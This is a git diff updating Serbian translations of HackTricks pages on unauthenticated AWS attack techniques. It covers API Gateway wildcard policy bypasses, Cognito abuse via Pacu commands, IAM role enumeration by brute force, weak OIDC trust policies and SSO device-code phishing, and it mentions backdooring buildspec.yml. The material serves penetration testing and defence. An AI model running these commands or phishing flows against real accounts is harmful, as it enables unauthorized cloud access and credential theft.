informacije. -## References +## Reference - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 6c6277a7d..cd7af55c4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - API Gateway Unauthenticated Enum +# AWS - API Gateway Neautentifikovana Enumeracija {{#include ../../../banners/hacktricks-training.md}} -### API Invoke bypass +### Zaobilaženje API poziva -Prema predavanju [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers mogu biti konfigurisani **koristeći IAM sintaksu** da daju dozvole za pozivanje API krajnjih tačaka. Ovo je preuzeto [**iz dokumentacije**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +Prema predavanju [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers se mogu konfigurisati **koristeći IAM sintaksu** da bi se dodelile dozvole za pozivanje API krajnjih tačaka. Ovo je preuzeto [**iz dokumentacije**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", @@ -19,24 +19,24 @@ Prema predavanju [Attack Vectors for APIs Using AWS API Gateway Lambda Authorize ] } ``` -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +Problem sa ovim načinom davanja dozvola za pozivanje krajnjih tačaka je to što **"\*" podrazumeva "bilo šta"** i **nema više podržane regex sintakse**. -Some examples: +Neki primeri: -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- Pravilo kao što je `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` kako bi se svakom korisniku omogućio pristup `/dashboard/user/{username}` će im omogućiti pristup i drugim rutama kao što je `/admin/dashboard/createAdmin`, na primer. > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> Imajte na umu da **"\*" ne prestaje da se širi sa kosim crticama**, stoga, ako koristite "\*" u api-id, na primer, to može takođe značiti "bilo koja faza" ili "bilo koja metoda" sve dok je konačni regex još uvek validan.\ +> Tako `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Može validirati post zahtev za test fazu na putanji `/prod/GET/dashboard/admin`, na primer. -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +Uvek treba jasno imati šta želite da dozvolite za pristup i zatim proveriti da li su drugi scenariji mogući sa dodeljenim dozvolama. -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Za više informacija, osim [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), možete pronaći kod za implementaciju autorizatora u [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). ### IAM Policy Injection -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. +U istoj [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)izložena je činjenica da ako kod koristi **korisnički unos** za **generisanje IAM politika**, džokeri (i drugi kao što su "." ili specifične stringove) mogu biti uključeni sa ciljem **obiđanja ograničenja**. ### Public URL template ``` @@ -44,7 +44,7 @@ https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` ### Dobijanje ID-a naloga sa javnog API Gateway URL-a -Baš kao i kod S3 kanti, Data Exchange i Lambda URL-a, moguće je pronaći ID naloga koristeći **`aws:ResourceAccount`** **Policy Condition Key** iz javnog API Gateway URL-a. To se postiže pronalaženjem ID-a naloga jedan po jedan karakter koristeći džokere u **`aws:ResourceAccount`** sekciji politike.\ +Baš kao i kod S3 kanti, Data Exchange i Lambda URL-ova, moguće je pronaći ID naloga koristeći **`aws:ResourceAccount`** **Policy Condition Key** iz javnog API Gateway URL-a. To se radi pronalaženjem ID-a naloga jedan po jedan karakter koristeći džoker znakove u **`aws:ResourceAccount`** sekciji politike.\ Ova tehnika takođe omogućava dobijanje **vrednosti oznaka** ako znate ključ oznake (ima nekoliko podrazumevanih zanimljivih). Možete pronaći više informacija u [**originalnom istraživanju**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 1f009b660..81894eacc 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Cloudfront Unauthenticated Enum +# AWS - Cloudfront Neautentifikovana Enumeracija {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 2322056ba..f86d28e61 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -12,9 +12,9 @@ Za više informacija pogledajte ovu stranicu: ### buildspec.yml -Ako kompromitujete pristup za pisanje nad repozitorijumom koji sadrži datoteku nazvanu **`buildspec.yml`**, mogli biste **unazaditi** ovu datoteku, koja specificira **komande koje će biti izvršene** unutar CodeBuild projekta i eksfiltrirati tajne, kompromitovati ono što se radi i takođe kompromitovati **CodeBuild IAM uloge akreditive**. +Ako kompromitujete pristup za pisanje nad repozitorijumom koji sadrži datoteku nazvanu **`buildspec.yml`**, mogli biste **ubaciti nazad** ovu datoteku, koja specificira **komande koje će biti izvršene** unutar CodeBuild projekta i eksfiltrirati tajne, kompromitovati ono što se radi i takođe kompromitovati **CodeBuild IAM uloge akreditive**. -Imajte na umu da čak i ako ne postoji nijedna **`buildspec.yml`** datoteka, ali znate da se koristi Codebuild (ili druga CI/CD), **modifikovanje nekog legitimnog koda** koji će biti izvršen može vam takođe doneti obrnuti shell, na primer. +Imajte na umu da čak i ako ne postoji nijedna **`buildspec.yml`** datoteka, ali znate da se koristi Codebuild (ili druga CI/CD), **modifikovanje nekog legitimnog koda** koji će biti izvršen može vam takođe doneti reverznu ljusku, na primer. Za neke povezane informacije možete pogledati stranicu o tome kako napasti Github Actions (slično ovome): @@ -22,12 +22,12 @@ Za neke povezane informacije možete pogledati stranicu o tome kako napasti Gith ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Samostalno hostovani GitHub Actions pokretači u AWS CodeBuild +## Samostalno hostovani GitHub Actions izvršioci u AWS CodeBuild -Kao što je [**naznačeno u dokumentaciji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), moguće je konfigurisati **CodeBuild** da pokreće **samostalno hostovane Github akcije** kada se pokrene radni tok unutar konfigurisanog Github repozitorijuma. Ovo se može otkriti proverom konfiguracije CodeBuild projekta jer **`Tip događaja`** mora sadržati: **`WORKFLOW_JOB_QUEUED`** i u Github radnom toku jer će odabrati **samostalno hostovan** pokretač poput ovog: +Kao što je [**naznačeno u dokumentaciji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), moguće je konfigurisati **CodeBuild** da pokreće **samostalno hostovane Github akcije** kada se pokrene radni tok unutar konfigurisanog Github repozitorijuma. Ovo se može otkriti proverom konfiguracije CodeBuild projekta jer **`Tip događaja`** mora sadržati: **`WORKFLOW_JOB_QUEUED`** i u Github radnom toku jer će odabrati **samostalno hostovan** izvršioc kao što je ovaj: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -Ova nova veza između Github Actions i AWS stvara još jedan način za kompromitovanje AWS-a iz Github-a, jer će kod u Github-u raditi u CodeBuild projektu sa priloženom IAM ulogom. +Ova nova veza između Github Actions i AWS stvara još jedan način za kompromitovanje AWS-a iz Github-a, jer će kod u Github-u raditi u CodeBuild projektu sa priloženom IAM ulogom. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 0b9ee84d3..60dcf503a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - Cognito Unauthenticated Enum +# AWS - Cognito Neautentifikovana Enum {{#include ../../../banners/hacktricks-training.md}} -## Unauthenticated Cognito +## Neautentifikovani Cognito -Cognito je AWS usluga koja omogućava programerima da **dodele pristup AWS uslugama svojim korisnicima aplikacije**. Programeri će dodeliti **IAM uloge autentifikovanim korisnicima** u svojoj aplikaciji (potencijalno će ljudi moći samo da se prijave) i takođe mogu dodeliti **IAM ulogu neautentifikovanim korisnicima**. +Cognito je AWS usluga koja omogućava programerima da **dodele svojim korisnicima aplikacije pristup AWS uslugama**. Programeri će dodeliti **IAM uloge autentifikovanim korisnicima** u svojoj aplikaciji (potencijalno će ljudi moći samo da se prijave) i takođe mogu dodeliti **IAM ulogu neautentifikovanim korisnicima**. Za osnovne informacije o Cognitu pogledajte: @@ -12,32 +12,32 @@ Za osnovne informacije o Cognitu pogledajte: ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### ID identiteta -Identity Pools mogu dodeliti **IAM uloge neautentifikovanim korisnicima** koji samo **znaju Identity Pool ID** (što je prilično uobičajeno da se **pronađe**), a napadač sa ovom informacijom mogao bi pokušati da **pristupi toj IAM ulozi** i iskoristi je.\ -Pored toga, IAM uloge takođe mogu biti dodeljene **autentifikovanim korisnicima** koji pristupaju Identity Pool-u. Ako napadač može **registrovati korisnika** ili već ima **pristup provajderu identiteta** koji se koristi u identity pool-u, mogao bi pristupiti **IAM ulozi koja se dodeljuje autentifikovanim** korisnicima i zloupotrebiti njene privilegije. +Identitetski bazeni mogu dodeliti **IAM uloge neautentifikovanim korisnicima** koji samo **znaju ID identiteta** (što je prilično uobičajeno da se **pronađe**), a napadač sa ovom informacijom mogao bi pokušati da **pristupi toj IAM ulozi** i iskoristi je.\ +Pored toga, IAM uloge takođe mogu biti dodeljene **autentifikovanim korisnicima** koji pristupaju identitetskom bazenu. Ako napadač može **registrovati korisnika** ili već ima **pristup provajderu identiteta** koji se koristi u identitetskom bazenu, mogao bi pristupiti **IAM ulozi koja se dodeljuje autentifikovanim** korisnicima i zloupotrebiti njene privilegije. [**Pogledajte kako to uraditi ovde**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### ID korisničkog bazena -Po defaultu, Cognito omogućava **registraciju novog korisnika**. Mogućnost registracije korisnika može vam dati **pristup** **osnovnoj aplikaciji** ili **autentifikovanoj IAM ulozi pristupa Identity Pool-u** koji prihvata Cognito User Pool kao provajder identiteta. [**Pogledajte kako to uraditi ovde**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Po defaultu, Cognito omogućava **registraciju novog korisnika**. Mogućnost registracije korisnika može vam dati **pristup** **osnovnoj aplikaciji** ili **autentifikovanoj IAM ulozi pristupa identitetskom bazenu** koji prihvata kao provajdera identiteta Cognito korisnički bazen. [**Pogledajte kako to uraditi ovde**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). ### Pacu moduli za pentesting i enumeraciju -[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS okvir za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identity pool-a, preuzimljivih uloga u id tokenima, itd. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS okvir za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identitetskog bazena, preuzimljivih uloga u ID tokenima, itd. Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. -#### Korišćenje +#### Upotreba -Primer korišćenja `cognito__attack` za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identity pool-a i korisničkog pool klijenta: +Primer upotrebe `cognito__attack` za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identitetskog bazena i klijenta korisničkog bazena: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Primer cognito\_\_enum korišćenja za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. vidljivih u trenutnom AWS nalogu: +Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. vidljivih u trenutnom AWS nalogu: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index f90560ad1..c083e4243 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,4 +1,4 @@ -# AWS - DocumentDB Unauthenticated Enum +# AWS - DocumentDB Neautentifikovana Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index 70cdd8a52..408838328 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -4,7 +4,7 @@ ## Dynamo DB -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../aws-services/aws-dynamodb-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 6fded48c9..4bf09712f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - EC2 Neautentifikovana Enum +# AWS - EC2 Neautentifikovana Enumeracija {{#include ../../../banners/hacktricks-training.md}} @@ -20,9 +20,9 @@ Moguće je izložiti **bilo koji port virtuelnih mašina internetu**. U zavisnos https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Javne AMI i EBS Snimke +### Javne AMI i EBS Snimci -AWS omogućava **da se svakome da pristup za preuzimanje AMI i Snimaka**. Možete lako da navedete ove resurse iz svog naloga: +AWS omogućava **da se svakome da pristup za preuzimanje AMI i Snimaka**. Možete lako nabrojati ove resurse iz svog naloga: ```bash # Public AMIs aws ec2 describe-images --executable-users all diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index e771f52f6..b6e79e2f6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -17,9 +17,9 @@ Kao što je pomenuto u sekciji ECS Enumeracija, javni registar je **dostupan svi aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` > [!WARNING] -> Ovo se takođe može desiti u **privatnim registrima** gde politika registra ili politika repozitorijuma **dodeljuje pristup na primer `"AWS": "*"`**. Svako ko ima AWS nalog može pristupiti tom repozitorijumu. +> Ovo se takođe može desiti u **privatnim registrima** gde politika registra ili politika repozitorijuma **daje pristup na primer `"AWS": "*"`**. Svako ko ima AWS nalog može pristupiti tom repozitorijumu. -### Enumerate Private Repo +### Nabrajanje Privatnog Repo Alati [**skopeo**](https://github.com/containers/skopeo) i [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) mogu se koristiti za listanje dostupnih repozitorijuma unutar privatnog registra. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 65a28ec35..60438d1f5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### Javno Dostupna Bezbednosna Grupa ili Load Balancer za ECS Usluge -Pogrešno konfigurisana bezbednosna grupa koja **dozvoljava dolazni saobraćaj sa interneta (0.0.0.0/0 ili ::/0)** za Amazon ECS usluge može izložiti AWS resurse napadima. +Neispravno konfigurisana bezbednosna grupa koja **dozvoljava dolazni saobraćaj sa interneta (0.0.0.0/0 ili ::/0)** za Amazon ECS usluge može izložiti AWS resurse napadima. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 86260b7fb..f3d5b33f8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -22,7 +22,7 @@ Pogrešno konfigurisana pravila sigurnosne grupe mogu izložiti Elastic Beanstal ### Javna dostupnost Load Balancera -Ako Elastic Beanstalk okruženje koristi load balancer i load balancer je konfiguran da bude javno dostupan, napadači mogu **slati zahteve direktno na load balancer**. Iako to možda nije problem za web aplikacije koje su namenjene javnoj dostupnosti, to može biti problem za privatne aplikacije ili okruženja. +Ako Elastic Beanstalk okruženje koristi load balancer i load balancer je konfiguran da bude javno dostupan, napadači mogu **slati zahteve direktno na load balancer**. Iako ovo možda nije problem za web aplikacije koje su namenjene javnoj dostupnosti, to može biti problem za privatne aplikacije ili okruženja. ### Javna dostupnost S3 Bucketa diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 9ecbbfaec..b018890f4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Elasticsearch Unauthenticated Enum +# AWS - Elasticsearch Neautentifikovana Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 2daa69f46..f2e2e1eef 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -9,13 +9,13 @@ > [!CAUTION] > **Ova tehnika više ne funkcioniše** jer, bez obzira na to da li uloga postoji ili ne, uvek dobijate ovu grešku: > -> `Došlo je do greške (AccessDenied) prilikom pozivanja operacije AssumeRole: Korisnik: arn:aws:iam::947247140022:user/testenv nije ovlašćen da izvrši: sts:AssumeRole na resursu: arn:aws:iam::429217632764:role/account-balanceasdas` +> `Došlo je do greške (AccessDenied) prilikom pozivanja AssumeRole operacije: Korisnik: arn:aws:iam::947247140022:user/testenv nije ovlašćen da izvrši: sts:AssumeRole na resursu: arn:aws:iam::429217632764:role/account-balanceasdas` > > Možete **testirati ovo pokretanjem**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Pokušaj da **pretpostavite ulogu bez potrebnih dozvola** pokreće AWS poruku o grešci. Na primer, ako niste ovlašćeni, AWS može vratiti: +Pokušaj da **pretpostavite ulogu bez potrebnih dozvola** izaziva AWS poruku o grešci. Na primer, ako niste ovlašćeni, AWS može vratiti: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` @@ -23,13 +23,13 @@ Ova poruka potvrđuje postojanje uloge, ali ukazuje da njena politika preuzimanj ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Zanimljivo je da je ova metoda **razlikovanja između postojećih i nepostojećih uloga** primenljiva čak i između različitih AWS naloga. Sa važećim AWS ID-om naloga i ciljanom listom reči, može se enumerisati uloge prisutne u nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima. +Zanimljivo je da je ova metoda **razlikovanja između postojećih i nepostojećih uloga** primenljiva čak i između različitih AWS naloga. Sa važećim AWS ID-jem naloga i ciljanom listom reči, može se enumerisati uloge prisutne u nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima. -Možete koristiti ovaj [skript za enumeraciju potencijalnih principala](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) zloupotrebljavajući ovaj problem. +Možete koristiti ovaj [script za enumeraciju potencijalnih principala](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) zloupotrebljavajući ovaj problem. ### Politike poverenja: Brute-Force Cross Account uloge i korisnici -Konfigurisanje ili ažuriranje **politike poverenja IAM uloge uključuje definisanje koji AWS resursi ili usluge su dozvoljeni da preuzmu tu ulogu** i dobiju privremene akreditive. Ako navedeni resurs u politici **postoji**, politika poverenja se **uspešno** čuva. Međutim, ako resurs **ne postoji**, **javlja se greška**, koja ukazuje na to da je dostavljen nevažeći principal. +Konfigurisanje ili ažuriranje **politike poverenja IAM uloge uključuje definisanje koji AWS resursi ili usluge su dozvoljeni da preuzmu tu ulogu** i dobiju privremene akreditive. Ako navedeni resurs u politici **postoji**, politika poverenja se **uspešno** čuva. Međutim, ako resurs **ne postoji**, **javlja se greška**, koja ukazuje na to da je pružen nevažeći principal. > [!WARNING] > Imajte na umu da u tom resursu možete navesti cross account ulogu ili korisnika: @@ -95,11 +95,11 @@ Možete automatizovati ovaj proces sa [https://github.com/carlospolop/aws_tools] - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Našim korišćenjem [Pacu](https://github.com/RhinoSecurityLabs/pacu): +Naš korišćenje [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- U ovom primeru, `admin` uloga je **uloga u vašem nalogu koja će biti imitirana** od strane pacu da kreira politike koje su mu potrebne za enumeraciju +- Uloga `admin` korišćena u primeru je **uloga u vašem nalogu koja će biti imitirana** od strane pacu da kreira politike koje su mu potrebne za enumeraciju ### Privesc @@ -118,7 +118,7 @@ U slučaju da je uloga loše konfigurisana i omogućava bilo kome da je preuzme: ] } ``` -Napadač bi to mogao samo pretpostaviti. +Napadač bi mogao samo da pretpostavi to. ## Treća strana OIDC federacija @@ -143,7 +143,7 @@ Ova poverenja može omogućiti pristup roli sa sledećom **politikom poverenja** ] } ``` -Ova politika poverenja može biti ispravna, ali **nedostatak više uslova** treba da vas navede da joj ne verujete.\ +Ova politika poverenja može biti tačna, ali **nedostatak više uslova** treba da vas navede da joj ne verujete.\ To je zato što prethodnu ulogu može preuzeti **BILO KO sa Github Actions**! Trebalo bi da navedete u uslovima i druge stvari kao što su naziv organizacije, naziv repozitorijuma, okruženje, grana... Još jedna potencijalna pogrešna konfiguracija je da **dodate uslov** kao što je sledeći: @@ -152,7 +152,7 @@ Još jedna potencijalna pogrešna konfiguracija je da **dodate uslov** kao što "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Napomena da **zvezdica** (\*) pre **dvotačke** (:). Možete kreirati organizaciju kao što je **org_name1** i **pretpostaviti ulogu** iz Github akcije. +Napomena da **wildcard** (\*) pre **dvojne tačke** (:). Možete kreirati organizaciju kao što je **org_name1** i **pretpostaviti ulogu** iz Github akcije. ## Reference diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 8a83f48e1..aca0b1736 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## AWS Device Code Phishing -Prvobitno predloženo u [**ovom blog postu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), moguće je poslati **link** korisniku koji koristi AWS SSO koji, ako **korisnik prihvati**, napadaču će omogućiti da dobije **token za impersonaciju korisnika** i pristup svim rolama kojima korisnik može pristupiti u **Identity Center**. +Prvobitno predloženo u [**ovom blog postu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), moguće je poslati **link** korisniku koji koristi AWS SSO, koji ako **korisnik prihvati**, napadač će moći da dobije **token za impersonaciju korisnika** i pristup svim rolama kojima korisnik može da pristupi u **Identity Center**. Da bi se izveo ovaj napad, zahtevi su: @@ -13,11 +13,11 @@ Da bi se izveo ovaj napad, zahtevi su: Samo sa prethodnim informacijama, **napadač će moći da pošalje link korisniku** koji, ako bude **prihvaćen**, omogućava **napadaču pristup AWS korisničkom** nalogu. -### Napad +### Attack -1. **Pronalaženje subdomena** +1. **Finding the subdomain** -Prvi korak napadača je da sazna koji subdomen koristi kompanija žrtve u svom Identity Center. To se može uraditi putem **OSINT** ili **pogađanja + BF** jer većina kompanija ovde koristi svoje ime ili varijaciju svog imena. +Prvi korak napadača je da sazna koji subdomen koristi kompanija žrtve u svom Identity Center. Ovo se može uraditi putem **OSINT** ili **pogađanja + BF**, jer većina kompanija koristi svoje ime ili varijaciju svog imena ovde. Sa ovom informacijom, moguće je dobiti region u kojem je Identity Center konfigurisan: ```bash @@ -56,7 +56,7 @@ 